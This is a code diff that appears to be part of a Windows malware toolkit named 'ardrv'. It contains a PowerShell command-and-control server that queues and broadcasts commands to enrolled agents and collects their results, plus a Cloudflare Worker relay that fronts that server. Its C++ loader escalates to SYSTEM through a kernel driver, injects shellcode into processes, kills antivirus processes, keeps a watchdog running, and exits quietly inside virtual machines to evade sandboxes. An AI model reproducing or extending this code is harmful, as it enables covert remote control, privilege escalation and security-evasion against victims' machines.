|
||||||
|
{
|
||||||
|
$panel = Join-Path $PSScriptRoot "..\server\panel.html"
|
||||||
|
|
||||||
|
if (-not (Test-Path -LiteralPath $panel))
|
||||||
|
{
|
||||||
|
return "<h1>panel.html missing</h1>"
|
||||||
|
}
|
||||||
|
|
||||||
|
return Get-Content -LiteralPath $panel -Raw -Encoding UTF8
|
||||||
|
}
|
||||||
|
|
||||||
|
$panel = Get-PanelHtml
|
||||||
|
$epoch = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
|
||||||
|
$utcNow = { [int][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() }
|
||||||
|
|
||||||
|
Write-Host "mock worker on $prefix (operator key: $OperatorKey)"
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
while ($listener.IsListening)
|
||||||
|
{
|
||||||
|
$ctx = $listener.GetContext()
|
||||||
|
$req = $ctx.Request
|
||||||
|
$res = $ctx.Response
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$path = $req.Url.AbsolutePath
|
||||||
|
$query = $req.Url.Query
|
||||||
|
|
||||||
|
$memory = New-Object System.IO.MemoryStream
|
||||||
|
$req.InputStream.CopyTo($memory)
|
||||||
|
$bodyBytes = $memory.ToArray()
|
||||||
|
$bodyText = [System.Text.Encoding]::UTF8.GetString($bodyBytes)
|
||||||
|
|
||||||
|
$params = @{}
|
||||||
|
foreach ($pair in ($query.TrimStart("?") -split "&"))
|
||||||
|
{
|
||||||
|
if (-not $pair) { continue }
|
||||||
|
$kv = $pair -split "=", 2
|
||||||
|
$params[[uri]::UnescapeDataString($kv[0])] = if ($kv.Count -gt 1) { [uri]::UnescapeDataString($kv[1]) } else { "" }
|
||||||
|
}
|
||||||
|
|
||||||
|
# ---------------------------------------------------------- panel
|
||||||
|
if ($path -eq "/" -or $path -eq "/panel")
|
||||||
|
{
|
||||||
|
Send-Bytes $res ([System.Text.Encoding]::UTF8.GetBytes($panel)) 200 "text/html; charset=utf-8"
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
# ------------------------------------------------------ operator API
|
||||||
|
if ($path.StartsWith("/api/"))
|
||||||
|
{
|
||||||
|
$isEnroll = ($path -eq "/api/enroll")
|
||||||
|
|
||||||
|
$key = [string]$req.Headers["X-Operator-Key"]
|
||||||
|
if (-not $key) { $key = [string]$params["key"] }
|
||||||
|
|
||||||
|
if (-not $isEnroll -and $key -ne $OperatorKey)
|
||||||
|
{
|
||||||
|
Send-Json $res @{ ok = $false; error = "denied" } 403
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
$nowTs = & $utcNow
|
||||||
|
|
||||||
|
if ($path -eq "/api/enroll" -and $req.HttpMethod -eq "POST")
|
||||||
|
{
|
||||||
|
$provided = [string]$req.Headers["X-Enroll-Secret"]
|
||||||
|
|
||||||
|
if ($provided -ne $EnrollSecret)
|
||||||
|
{
|
||||||
|
Send-Json $res @{ ok = $false; error = "enroll denied" } 403
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
$payload = $bodyText | ConvertFrom-Json
|
||||||
|
|
||||||
|
if (-not $payload.agent)
|
||||||
|
{
|
||||||
|
Send-Json $res @{ ok = $false; error = "valid agent id required" } 400
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not $state.agents.ContainsKey($payload.agent))
|
||||||
|
{
|
||||||
|
$state.agents[$payload.agent] = @{
|
||||||
|
first_seen = $nowTs; last_seen = $nowTs; host = ""; user = "";
|
||||||
|
sid = ""; version = ""; interval = 15000; system = $false; revoked = $false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$state.agents[$payload.agent].revoked = $false
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $true; agent = $payload.agent; secret = (Get-AgentSecret $payload.agent) }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/api/revoke" -and $req.HttpMethod -eq "POST")
|
||||||
|
{
|
||||||
|
$payload = $bodyText | ConvertFrom-Json
|
||||||
|
|
||||||
|
if (-not $payload.agent)
|
||||||
|
{
|
||||||
|
Send-Json $res @{ ok = $false; error = "agent required" } 400
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not $state.agents.ContainsKey($payload.agent))
|
||||||
|
{
|
||||||
|
$state.agents[$payload.agent] = @{
|
||||||
|
first_seen = $nowTs; last_seen = $nowTs; host = ""; user = "";
|
||||||
|
sid = ""; version = ""; interval = 15000; system = $false; revoked = $false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$state.agents[$payload.agent].revoked = ($payload.revoked -ne $false)
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $true; agent = $payload.agent; revoked = [bool]$state.agents[$payload.agent].revoked }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/api/agents")
|
||||||
|
{
|
||||||
|
$list = @()
|
||||||
|
foreach ($id in $state.agents.Keys)
|
||||||
|
{
|
||||||
|
$a = $state.agents[$id]
|
||||||
|
$queued = @($state.commands | Where-Object { $_.agent -eq $id -and $_.state -eq "queued" }).Count
|
||||||
|
$interval = if ($a.interval) { $a.interval } else { 15000 }
|
||||||
|
$list += @{
|
||||||
|
id = $id
|
||||||
|
host = $a.host
|
||||||
|
user = $a.user
|
||||||
|
sid = $a.sid
|
||||||
|
version = $a.version
|
||||||
|
interval = $interval
|
||||||
|
system = [bool]$a.system
|
||||||
|
revoked = [bool]$a.revoked
|
||||||
|
queued = $queued
|
||||||
|
first_seen = $a.first_seen
|
||||||
|
last_seen = $a.last_seen
|
||||||
|
age = $nowTs - $a.last_seen
|
||||||
|
online = (($nowTs - $a.last_seen) -lt [Math]::Max([int]($interval / 1000) * 3, 45))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $true; now = $nowTs; agents = @($list | Sort-Object { $_.last_seen } -Descending) }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/api/stats")
|
||||||
|
{
|
||||||
|
$online = @($state.agents.Values | Where-Object { ($nowTs - $_.last_seen) -lt 300 }).Count
|
||||||
|
$byState = @{}
|
||||||
|
foreach ($c in $state.commands) { $byState[$c.state] = 1 + [int]$byState[$c.state] }
|
||||||
|
$stats = @($byState.Keys | ForEach-Object { @{ state = $_; n = $byState[$_] } })
|
||||||
|
Send-Json $res @{ ok = $true; agents = $state.agents.Count; online = $online; commands = $stats }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/api/commands")
|
||||||
|
{
|
||||||
|
$agent = [string]$params["agent"]
|
||||||
|
$limit = if ($params["limit"]) { [int]$params["limit"] } else { 50 }
|
||||||
|
|
||||||
|
$items = $state.commands
|
||||||
|
if ($agent) { $items = @($items | Where-Object { $_.agent -eq $agent }) }
|
||||||
|
|
||||||
|
$out = @($items | Sort-Object created -Descending | Select-Object -First $limit | ForEach-Object {
|
||||||
|
@{
|
||||||
|
id = $_.id; agent = $_.agent; text = $_.text; state = $_.state;
|
||||||
|
created = $_.created; sent = $_.sent; finished = $_.finished;
|
||||||
|
operator = $_.operator; result = $_.result
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $true; commands = $out }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/api/enqueue" -and $req.HttpMethod -eq "POST")
|
||||||
|
{
|
||||||
|
$payload = $bodyText | ConvertFrom-Json
|
||||||
|
|
||||||
|
if (-not $payload.agent -or -not $payload.text)
|
||||||
|
{
|
||||||
|
Send-Json $res @{ ok = $false; error = "agent and text required" } 400
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
$id = [guid]::NewGuid().ToString()
|
||||||
|
$null = $state.commands.Add([pscustomobject]@{
|
||||||
|
id = $id; agent = $payload.agent; text = $payload.text; state = "queued";
|
||||||
|
created = $nowTs; sent = 0; finished = 0; operator = "panel"; result = ""
|
||||||
|
})
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $true; id = $id }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/api/broadcast" -and $req.HttpMethod -eq "POST")
|
||||||
|
{
|
||||||
|
$payload = $bodyText | ConvertFrom-Json
|
||||||
|
$sentIds = @()
|
||||||
|
|
||||||
|
foreach ($id in $state.agents.Keys)
|
||||||
|
{
|
||||||
|
$null = $state.commands.Add([pscustomobject]@{
|
||||||
|
id = [guid]::NewGuid().ToString(); agent = $id; text = $payload.text;
|
||||||
|
state = "queued"; created = $nowTs; sent = 0; finished = 0;
|
||||||
|
operator = "broadcast"; result = ""
|
||||||
|
})
|
||||||
|
$sentIds += $id
|
||||||
|
}
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $true; sent = $sentIds.Count; agents = $sentIds }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $false; error = "unknown endpoint" } 404
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
# --------------------------------------------------------- files
|
||||||
|
if ($path -like "/file/*")
|
||||||
|
{
|
||||||
|
$name = [uri]::UnescapeDataString($path.Substring(6))
|
||||||
|
$file = Join-Path $FileDir $name
|
||||||
|
|
||||||
|
if (Test-Path -LiteralPath $file -PathType Leaf)
|
||||||
|
{
|
||||||
|
Send-Bytes $res ([System.IO.File]::ReadAllBytes($file)) 200 "application/octet-stream"
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Send-Text $res "not found" 404
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
# ------------------------------------------------------ agent auth
|
||||||
|
$agentHeader = [string]$req.Headers["X-Agent-Id"]
|
||||||
|
$ts = [string]$req.Headers["X-Agent-Ts"]
|
||||||
|
$sign = ([string]$req.Headers["X-Agent-Sign"]).ToLower()
|
||||||
|
|
||||||
|
if (-not $agentHeader -or -not $ts -or -not $sign)
|
||||||
|
{
|
||||||
|
Send-Text $res "denied" 403
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
$nowTs = & $utcNow
|
||||||
|
$tsNum = 0
|
||||||
|
|
||||||
|
if (-not [int]::TryParse($ts, [ref]$tsNum) -or [Math]::Abs($nowTs - $tsNum) -gt 300)
|
||||||
|
{
|
||||||
|
Send-Text $res "denied" 403
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
$canonicalPath = $path.TrimStart("/") + $query
|
||||||
|
$canonical = "$agentHeader`n$ts`n$($req.HttpMethod)`n$canonicalPath`n$(Get-Sha256Hex $bodyBytes)"
|
||||||
|
|
||||||
|
$derived = Get-AgentSecret $agentHeader
|
||||||
|
$masterOk = (Get-HmacHex $Secret $canonical) -eq $sign
|
||||||
|
$derivedOk = (Get-HmacHex $derived $canonical) -eq $sign
|
||||||
|
|
||||||
|
if (-not ($masterOk -or $derivedOk))
|
||||||
|
{
|
||||||
|
Send-Text $res "denied" 403
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
$agent = $agentHeader
|
||||||
|
|
||||||
|
if ($state.agents[$agent] -and $state.agents[$agent].revoked)
|
||||||
|
{
|
||||||
|
Send-Text $res "revoked" 403
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
# ---------------------------------------------------- agent endpoints
|
||||||
|
if ($path -eq "/poll")
|
||||||
|
{
|
||||||
|
$existing = $state.agents[$agent]
|
||||||
|
$first = if ($existing) { $existing.first_seen } else { $nowTs }
|
||||||
|
|
||||||
|
$state.agents[$agent] = @{
|
||||||
|
first_seen = $first
|
||||||
|
last_seen = $nowTs
|
||||||
|
host = [string]$req.Headers["X-Agent-Host"]
|
||||||
|
user = [string]$req.Headers["X-Agent-User"]
|
||||||
|
sid = [string]$req.Headers["X-Agent-Sid"]
|
||||||
|
version = [string]$req.Headers["X-Agent-Version"]
|
||||||
|
interval = if ($req.Headers["X-Agent-Interval"]) { [int]$req.Headers["X-Agent-Interval"] } else { 15000 }
|
||||||
|
system = ([string]$req.Headers["X-Agent-System"]) -eq "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
$cmd = $state.commands | Where-Object { $_.agent -eq $agent -and $_.state -eq "queued" } | Sort-Object created | Select-Object -First 1
|
||||||
|
|
||||||
|
if (-not $cmd)
|
||||||
|
{
|
||||||
|
Send-Text $res "" 204
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
$cmd.state = "sent"
|
||||||
|
$cmd.sent = $nowTs
|
||||||
|
|
||||||
|
$b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmd.text))
|
||||||
|
Send-Text $res ("{0}`n{1}" -f $cmd.id, $b64)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/ack" -and $req.HttpMethod -eq "POST")
|
||||||
|
{
|
||||||
|
$id = [string]$params["id"]
|
||||||
|
|
||||||
|
foreach ($c in $state.commands)
|
||||||
|
{
|
||||||
|
if ($c.id -eq $id -and $c.agent -eq $agent)
|
||||||
|
{
|
||||||
|
$decoded = $bodyText
|
||||||
|
|
||||||
|
try { $decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($bodyText)) } catch { }
|
||||||
|
|
||||||
|
$c.state = "done"
|
||||||
|
$c.finished = $nowTs
|
||||||
|
$c.result = $decoded
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($state.agents[$agent]) { $state.agents[$agent].last_seen = $nowTs }
|
||||||
|
|
||||||
|
Send-Text $res "ok"
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/enqueue" -and $req.HttpMethod -eq "POST")
|
||||||
|
{
|
||||||
|
$text = $bodyText
|
||||||
|
|
||||||
|
if (-not $text.Trim())
|
||||||
|
{
|
||||||
|
Send-Text $res "empty" 400
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
$id = [guid]::NewGuid().ToString()
|
||||||
|
|
||||||
|
$null = $state.commands.Add([pscustomobject]@{
|
||||||
|
id = $id; agent = $agent; text = $text; state = "queued";
|
||||||
|
created = $nowTs; sent = 0; finished = 0; operator = "agent"; result = ""
|
||||||
|
})
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $true; id = $id }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($path -eq "/status")
|
||||||
|
{ $last = ""
|
||||||
|
$done = @($state.commands | Where-Object { $_.agent -eq $agent -and $_.state -eq "done" } | Sort-Object finished -Descending | Select-Object -First 1)
|
||||||
|
|
||||||
|
if ($done.Count -gt 0)
|
||||||
|
{
|
||||||
|
$last = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([string]$done[0].result))
|
||||||
|
}
|
||||||
|
|
||||||
|
Send-Json $res @{ ok = $true; agent = $agent; last = $last }
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
Send-Text $res "ok"
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
try { Send-Json $res @{ ok = $false; error = $_.Exception.Message } 500 } catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
$listener.Stop()
|
||||||
|
$listener.Close()
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
// Thin relay: this Worker owns no state.
|
||||||
|
//
|
||||||
|
// It forwards every request to the relay server and streams the answer back, so
|
||||||
|
// the panel, the database and the agent API all live on your own host. Nothing
|
||||||
|
// is stored in Cloudflare except what the platform keeps in transit.
|
||||||
|
//
|
||||||
|
// Bindings:
|
||||||
|
// var SERVER_URL https://your-server.example
|
||||||
|
// secret PROXY_SECRET optional shared header the server can require
|
||||||
|
|
||||||
|
export default {
|
||||||
|
async fetch(request, env)
|
||||||
|
{
|
||||||
|
const base = (env.SERVER_URL || "").replace(/\/$/, "");
|
||||||
|
|
||||||
|
if (!base)
|
||||||
|
return new Response("SERVER_URL is not configured", { status: 500 });
|
||||||
|
|
||||||
|
const url = new URL(request.url);
|
||||||
|
const target = base + url.pathname + url.search;
|
||||||
|
|
||||||
|
const headers = new Headers(request.headers);
|
||||||
|
|
||||||
|
// Do not leak Cloudflare internals to the origin.
|
||||||
|
headers.delete("cf-connecting-ip");
|
||||||
|
headers.delete("cf-ray");
|
||||||
|
headers.delete("cf-visitor");
|
||||||
|
headers.delete("x-forwarded-proto");
|
||||||
|
|
||||||
|
if (env.PROXY_SECRET)
|
||||||
|
headers.set("X-Proxy-Secret", env.PROXY_SECRET);
|
||||||
|
|
||||||
|
const init = {
|
||||||
|
method: request.method,
|
||||||
|
headers,
|
||||||
|
redirect: "manual"
|
||||||
|
};
|
||||||
|
|
||||||
|
if (request.method !== "GET" && request.method !== "HEAD")
|
||||||
|
init.body = request.body;
|
||||||
|
|
||||||
|
let upstream;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
upstream = await fetch(target, init);
|
||||||
|
}
|
||||||
|
catch (err)
|
||||||
|
{
|
||||||
|
return new Response("relay unreachable: " + (err && err.message ? err.message : err), { status: 502 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = new Response(upstream.body, {
|
||||||
|
status: upstream.status,
|
||||||
|
statusText: upstream.statusText,
|
||||||
|
headers: upstream.headers
|
||||||
|
});
|
||||||
|
|
||||||
|
response.headers.set("Cache-Control", "no-store");
|
||||||
|
return response;
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
name = "ardrv-relay"
|
||||||
|
main = "worker.js"
|
||||||
|
compatibility_date = "2024-11-01"
|
||||||
|
|
||||||
|
# The Worker is only a proxy. All state, auth and the panel live on the relay
|
||||||
|
# server; configure its address in the dashboard or here.
|
||||||
|
#
|
||||||
|
# vars SERVER_URL https://relay.example.com
|
||||||
|
# secret PROXY_SECRET optional shared header checked by the server
|
||||||
|
#
|
||||||
|
# For local development put both in .dev.vars:
|
||||||
|
# SERVER_URL=http://127.0.0.1:8790
|
||||||
|
# PROXY_SECRET=proxys3cret
|
||||||
|
|
||||||
|
[vars]
|
||||||
|
SERVER_URL = "http://127.0.0.1:8790"
|
||||||
|
|
||||||
|
[observability]
|
||||||
|
enabled = false
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include "resource.h"
|
||||||
|
|
||||||
|
// The driver image is optional. If ardrv.sys is not next to the project at
|
||||||
|
// build time, HAVE_DRIVER_IMAGE is not defined and no resource is emitted.
|
||||||
|
#ifdef HAVE_DRIVER_IMAGE
|
||||||
|
IDR_ARDRV_SYS RCDATA "ardrv.sys"
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,823 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
#include "CloudAgent.h"
|
||||||
|
#include "GuardService.h"
|
||||||
|
#include "VmDetect.h"
|
||||||
|
#include "KillSafety.h"
|
||||||
|
#include "HostSpawn.h"
|
||||||
|
#include "HostStager.h"
|
||||||
|
#include "StageClient.h"
|
||||||
|
#include "Exclusions.h"
|
||||||
|
|
||||||
|
#include <shellapi.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "shell32.lib")
|
||||||
|
|
||||||
|
#include "DriverClient.h"
|
||||||
|
#include "TokenUtils.h"
|
||||||
|
#include "ProcessUtils.h"
|
||||||
|
#include "ShellcodeUtils.h"
|
||||||
|
#include "AvKill.h"
|
||||||
|
#include "ServiceManager.h"
|
||||||
|
|
||||||
|
static int RunLoader(int argc, LPWSTR* argv)
|
||||||
|
{
|
||||||
|
HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Local\\ArDrvLoaderMutex");
|
||||||
|
bool ownsMutex = false;
|
||||||
|
|
||||||
|
if (mutex)
|
||||||
|
{
|
||||||
|
DWORD waitRes = WaitForSingleObject(mutex, 15000);
|
||||||
|
ownsMutex = (waitRes == WAIT_OBJECT_0 || waitRes == WAIT_ABANDONED);
|
||||||
|
|
||||||
|
if (!ownsMutex)
|
||||||
|
{
|
||||||
|
Log(L"[-] Another loader instance is already running");
|
||||||
|
CloseHandle(mutex);
|
||||||
|
return 12;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"=== Loader start ===");
|
||||||
|
|
||||||
|
HANDLE driverToken = nullptr;
|
||||||
|
HANDLE systemToken = nullptr;
|
||||||
|
int ret = 0;
|
||||||
|
|
||||||
|
if (argc >= 4 && _wcsicmp(argv[1], L"-install-service") == 0)
|
||||||
|
{
|
||||||
|
bool ok = EnsureWin32Service(argv[2], argv[3], true);
|
||||||
|
ret = ok ? 0 : 4;
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!EnsureDriverLoaded())
|
||||||
|
{
|
||||||
|
ret = 2;
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!EscalateViaDriver(&driverToken))
|
||||||
|
{
|
||||||
|
Log(L"[!] EscalateViaDriver failed or did not provide a SYSTEM token handle");
|
||||||
|
}
|
||||||
|
|
||||||
|
systemToken = GetSystemToken(driverToken);
|
||||||
|
|
||||||
|
if (!systemToken)
|
||||||
|
{
|
||||||
|
ret = 3;
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 5 && _wcsicmp(argv[1], L"-i") == 0 && _wcsicmp(argv[3], L"-s") == 0)
|
||||||
|
{
|
||||||
|
DWORD pid = (DWORD)wcstoul(argv[2], nullptr, 10);
|
||||||
|
|
||||||
|
std::vector<BYTE> shell;
|
||||||
|
|
||||||
|
if (!ReadFileToMemory(argv[4], shell))
|
||||||
|
{
|
||||||
|
ret = 5;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size());
|
||||||
|
ret = ok ? 0 : 6;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (argc >= 5 && _wcsicmp(argv[1], L"-n") == 0 && _wcsicmp(argv[3], L"-s") == 0)
|
||||||
|
{
|
||||||
|
const wchar_t* target = argv[2];
|
||||||
|
|
||||||
|
std::vector<BYTE> shell;
|
||||||
|
|
||||||
|
if (!ReadFileToMemory(argv[4], shell))
|
||||||
|
{
|
||||||
|
ret = 5;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
NewProcInfo info{};
|
||||||
|
|
||||||
|
if (!CreateProcessSuspendedAsSystem(systemToken, target, nullptr, false, &info))
|
||||||
|
{
|
||||||
|
ret = 7;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size());
|
||||||
|
ret = ok ? 0 : 8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (argc >= 3 && _wcsicmp(argv[1], L"-p") == 0)
|
||||||
|
{
|
||||||
|
const wchar_t* payload = argv[2];
|
||||||
|
const wchar_t* args = (argc >= 4 ? argv[3] : nullptr);
|
||||||
|
|
||||||
|
bool ok = StartProcessAsSystem(systemToken, payload, args, false);
|
||||||
|
ret = ok ? 0 : 9;
|
||||||
|
}
|
||||||
|
else if (argc >= 3 && _wcsicmp(argv[1], L"-watchdog") == 0)
|
||||||
|
{
|
||||||
|
const wchar_t* target = argv[2];
|
||||||
|
DWORD intervalMs = 5000;
|
||||||
|
DWORD iterations = 0;
|
||||||
|
|
||||||
|
if (argc >= 4)
|
||||||
|
intervalMs = (DWORD)wcstoul(argv[3], nullptr, 10);
|
||||||
|
|
||||||
|
if (argc >= 5)
|
||||||
|
iterations = (DWORD)wcstoul(argv[4], nullptr, 10);
|
||||||
|
|
||||||
|
DWORD done = 0;
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
if (!ProcessExistsByName(target))
|
||||||
|
{
|
||||||
|
Log(L"[+] Watchdog: target not running, starting");
|
||||||
|
|
||||||
|
if (!StartProcessAsSystem(systemToken, target, nullptr, false))
|
||||||
|
Log(L"[-] Watchdog: failed to start target");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (iterations != 0 && ++done >= iterations)
|
||||||
|
break;
|
||||||
|
|
||||||
|
Sleep(intervalMs);
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
KillAVProcesses();
|
||||||
|
|
||||||
|
const wchar_t* testExe = L"C:\\Windows\\System32\\cmd.exe";
|
||||||
|
const wchar_t* testArgs =
|
||||||
|
L"/c (whoami & echo Loader OK) > C:\\Users\\Public\\loader_test.txt 2>&1";
|
||||||
|
|
||||||
|
bool ok = StartProcessAsSystem(systemToken, testExe, testArgs, false);
|
||||||
|
ret = ok ? 0 : 11;
|
||||||
|
}
|
||||||
|
|
||||||
|
cleanup:
|
||||||
|
|
||||||
|
if (systemToken)
|
||||||
|
CloseHandle(systemToken);
|
||||||
|
|
||||||
|
if (driverToken)
|
||||||
|
CloseHandle(driverToken);
|
||||||
|
|
||||||
|
if (ownsMutex && mutex)
|
||||||
|
ReleaseMutex(mutex);
|
||||||
|
|
||||||
|
if (mutex)
|
||||||
|
CloseHandle(mutex);
|
||||||
|
|
||||||
|
CloseDriver();
|
||||||
|
|
||||||
|
Log(L"=== Loader end ret=%d ===", ret);
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Virtual machine gate. Every mode except an explicit override refuses to run
|
||||||
|
// inside a hypervisor guest. Exit code 0 and no log output, so a sandbox sees a
|
||||||
|
// process that starts and quietly terminates.
|
||||||
|
static int VmGate(int argc, wchar_t** argv)
|
||||||
|
{
|
||||||
|
if (VmOverrideRequested(argc, argv))
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
std::wstring reason;
|
||||||
|
|
||||||
|
if (!IsVirtualMachine(&reason))
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
wchar_t debug[8]{};
|
||||||
|
DWORD n = GetEnvironmentVariableW(L"ARDRV_VM_DEBUG", debug, _countof(debug));
|
||||||
|
|
||||||
|
if (n > 0 && (debug[0] == L'1' || debug[0] == L'y' || debug[0] == L'Y'))
|
||||||
|
wprintf(L"[vm] refusing to run: %s\n", reason.c_str());
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool IsProcessElevated()
|
||||||
|
{
|
||||||
|
HANDLE token = nullptr;
|
||||||
|
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TOKEN_ELEVATION elevation{};
|
||||||
|
DWORD len = sizeof(elevation);
|
||||||
|
|
||||||
|
bool elevated =
|
||||||
|
GetTokenInformation(token, TokenElevation, &elevation, len, &len) != FALSE &&
|
||||||
|
elevation.TokenIsElevated != 0;
|
||||||
|
|
||||||
|
CloseHandle(token);
|
||||||
|
return elevated;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool HasCommandArg(int argc, wchar_t** argv, const wchar_t* name)
|
||||||
|
{
|
||||||
|
for (int i = 1; i < argc; ++i)
|
||||||
|
{
|
||||||
|
if (argv[i] && _wcsicmp(argv[i], name) == 0)
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Relaunches the same command line under UAC. Returns true when the elevated
|
||||||
|
// copy was started; the caller should then exit.
|
||||||
|
static bool RelaunchElevated(int argc, wchar_t** argv)
|
||||||
|
{
|
||||||
|
wchar_t exe[MAX_PATH]{};
|
||||||
|
|
||||||
|
DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe));
|
||||||
|
|
||||||
|
if (len == 0 || len >= _countof(exe))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::wstring params;
|
||||||
|
|
||||||
|
// Double-click: the elevated copy must still know it is the bootstrap. The
|
||||||
|
// appended --elevated flag would otherwise look like a normal command line.
|
||||||
|
if (argc < 2)
|
||||||
|
params = L"-bootstrap";
|
||||||
|
|
||||||
|
for (int i = 1; i < argc; ++i)
|
||||||
|
{
|
||||||
|
std::wstring a = argv[i];
|
||||||
|
|
||||||
|
if (!params.empty())
|
||||||
|
params += L" ";
|
||||||
|
|
||||||
|
if (a.find(L' ') != std::wstring::npos && (a.empty() || a.front() != L'"'))
|
||||||
|
params += L"\"" + a + L"\"";
|
||||||
|
else
|
||||||
|
params += a;
|
||||||
|
}
|
||||||
|
|
||||||
|
params += L" --elevated";
|
||||||
|
|
||||||
|
HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_SHOWNORMAL);
|
||||||
|
|
||||||
|
if ((INT_PTR)h <= 32)
|
||||||
|
{
|
||||||
|
wprintf(L"[!] elevation declined or failed (%d)\n", (int)(INT_PTR)h);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Commands that need administrator rights. Anything else runs as-is; after the
|
||||||
|
// first elevated install the services do all privileged work.
|
||||||
|
static bool NeedsElevation(int argc, wchar_t** argv)
|
||||||
|
{
|
||||||
|
// Double-click with no arguments runs the bootstrap, which needs admin.
|
||||||
|
if (argc < 2)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
const bool dryRun = HasCommandArg(argc, argv, L"--dry-run");
|
||||||
|
|
||||||
|
